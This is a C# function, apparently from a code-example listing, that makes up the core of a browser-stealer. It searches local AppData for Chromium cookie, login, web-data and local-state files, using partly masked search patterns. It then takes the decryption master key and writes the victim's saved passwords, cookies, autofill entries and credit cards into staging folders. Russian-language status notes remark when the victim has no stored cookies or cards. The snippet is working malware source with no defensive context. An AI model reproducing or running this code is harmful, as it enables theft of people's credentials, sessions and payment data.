Beispiel #1
0
    public static void Start()
    {
        string[] search_files = new string[4]
        {
            "co*es",
            "log*ta",
            "we*ata",
            "loc*ate"
        };
        List <string> _out  = new List <string>();
        List <string> _out2 = new List <string>();

        Recursive.Search(Buffer.path_lad, ref _out, Buffer.string_0, search_files, 3);
        Recursive.Search(Buffer.path_ad, ref _out2, Buffer.string_0, search_files, 3);
        List <string> list = null;

        list = ((_out.Count() > 1 && _out2.Count() > 1) ? _out.Concat(_out2).ToList() : ((_out.Count() > 1) ? _out : ((_out2.Count() > 1) ? _out2 : null)));
        bool   flag = false;
        string text = "";
        int    num  = 0;
        int    num2 = 0;

        if (!Directory.Exists($"{Buffer.path_l}Browsers"))
        {
            Directory.CreateDirectory($"{Buffer.path_l}Browsers");
        }
        if (!Directory.Exists($"{Buffer.path_l}Autofill"))
        {
            Directory.CreateDirectory($"{Buffer.path_l}Autofill");
        }
        if (!Directory.Exists($"{Buffer.path_l}Cards"))
        {
            Directory.CreateDirectory($"{Buffer.path_l}Cards");
        }
        if (list != null)
        {
            foreach (string item in list)
            {
                string text2 = Path.GetFileName(item).ToLower();
                if (!flag && text2.Contains("state"))
                {
                    chrome.GETMasterKey(item);
                    flag = true;
                }
                else if (text2.Contains("login"))
                {
                    string text3 = PasswordParse(item);
                    text += (string.IsNullOrEmpty(text3) ? "" : $"{text3.Trim()}\n\n");
                }
                else if (text2.Contains("cookie"))
                {
                    num++;
                    CookieParse(item, string.Format("{0}Browsers\\[{1}-{2}] Cookies.txt", Buffer.path_l, item.Split(new string[1]
                    {
                        "AppData\\"
                    }, StringSplitOptions.None)[1].Split('\\')[1], num));
                }
                else if (text2.Contains("web"))
                {
                    num2++;
                    fillParse(item, string.Format("{0}Autofill\\[{1}-{2}] Autofill.txt", Buffer.path_l, item.Split(new string[1]
                    {
                        "AppData\\"
                    }, StringSplitOptions.None)[1].Split('\\')[1], num2));
                    CCParse(item, string.Format("{0}Cards\\[{1}-{2}] Cards.txt", Buffer.path_l, item.Split(new string[1]
                    {
                        "AppData\\"
                    }, StringSplitOptions.None)[1].Split('\\')[1], num2));
                }
            }
        }
        if (!string.IsNullOrEmpty(text.Trim()))
        {
            File.WriteAllText($"{Buffer.path_l}Browsers\\Passwords.txt", text.Trim().Replace("\n", Environment.NewLine));
        }
        Buffer.XBufferData[0]  = CCookies.ToString();
        Buffer.XBufferData[1]  = CPasswords.ToString();
        Buffer.XBufferData[10] = cfill.ToString();
        Buffer.XBufferData[11] = CCards.ToString();
        if (Directory.GetFiles($"{Buffer.path_l}Browsers", "*.txt").Count() == 0)
        {
            File.WriteAllText($"{Buffer.path_l}Browsers\\info.txt", $"{Buffer.head}Похоже что пользователь удаляет свои куки и пароли. Или же браузер не определен.");
        }
        if (Directory.GetFiles($"{Buffer.path_l}Autofill", "*.txt").Count() == 0)
        {
            File.WriteAllText($"{Buffer.path_l}Autofill\\info.txt", $"{Buffer.head}Похоже что пользователь не сохраняет автофилл. Или же браузер не определен.");
        }
        if (Directory.GetFiles($"{Buffer.path_l}Cards", "*.txt").Count() == 0)
        {
            File.WriteAllText($"{Buffer.path_l}Cards\\info.txt", $"{Buffer.head}Карты не найдены. Похоже что пользователь не использует карты для оплаты.");
        }
    }